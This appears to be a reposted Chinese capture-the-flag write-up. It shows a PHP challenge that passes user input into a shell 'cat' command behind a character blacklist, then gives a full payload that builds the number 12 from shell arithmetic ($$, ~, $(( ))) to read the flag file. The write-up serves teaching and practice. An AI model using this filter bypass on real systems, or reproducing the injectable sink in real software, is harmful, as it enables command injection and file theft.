当前位置: 首页 > news >正文

linux 利用 ~$() 构造数字

2024.6.1

题目

<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){$x = $_GET['x'];if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){system("cat ".$x.".php");}
}else{highlight_file(__FILE__);
}
?>

payload

x=$((~$(($(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))))))

解析

  • ​$(())​ 是一种用于进行算术运算的Shell语法。它可以用来计算数学表达式的值,并将结果输出到标准输出
  • ​$$​ 代表当前进程的 ID

因此, $(($$))​ 的意思是:获取当前进程的 ID

由此可以得到 一个获取 -1​ 的单元

​$(($(($$))$((~$(($$))))))

由此只要不断叠加单元就可以获得任何数据

例如获取 数字 3 (这里为了观赏性采用换行表现)

$((~$(($(($(($$))$((~$(($$))))))​$(($(($$))$((~$(($$))))))​$(($(($$))$((~$(($$))))))​$(($(($$))$((~$(($$))))))
))))
http://www.lryc.cn/news/360117.html

相关文章:

  • 七大获取免费https的方式
  • JVM(Java虚拟机)笔记
  • 秒杀基本功能开发(显示商品列表和商品详情)
  • centos 记录用户登陆ip和执行命令
  • JZ2440笔记:DM9000C网卡驱动
  • 【数据结构】二叉树:简约和复杂的交织之美
  • 信号稳定,性能卓越!德思特礁鲨系列MiMo天线正式发布!
  • 编程学习技巧——实战
  • GPU学习(1)
  • TQSDRPI开发板教程:UDP收发测试
  • opencv进阶 ——(九)图像处理之人脸修复祛马赛克算法CodeFormer
  • 虚拟机改IP地址
  • MySQL(二)-基础操作
  • vue3学习使用笔记
  • 微信小程序怎么进行页面传参
  • 隆道出席河南ClO社区十周年庆典,助推采购和供应链数字化发展
  • NetApp财季报告亮点:全闪存阵列需求强劲,云计算收入增长放缓但AI领域前景乐观
  • javascript读取本地目录
  • Java基础八股
  • 【机器学习300问】102、什么是混淆矩阵?
  • 基于SpringBoot3和JDK17,集成H2数据库和jpa
  • 《逆水寒》手游周年庆,热度不减反增引发热议
  • Kotlin使用Dagger2但无法生成对应类 Unresolved reference: DaggerMyComponent
  • Vue组件通讯⽗组件中通过 provide 来提供变量,然后在⼦组件中通过 inject 来注⼊变量例子
  • 教你搞一个比较简单的计时和进度条装饰器
  • 跑马灯的两种实现方式
  • OpenAI 的 GPT-4o 是目前最先进的人工智能模型!如何在工作或日常生活中高效利用它?
  • 安卓ANR检测、分析、优化面面谈
  • “手撕”链表的九道OJ习题
  • 解决 Git commit 或 Git merge 跑到 VIM 里面去了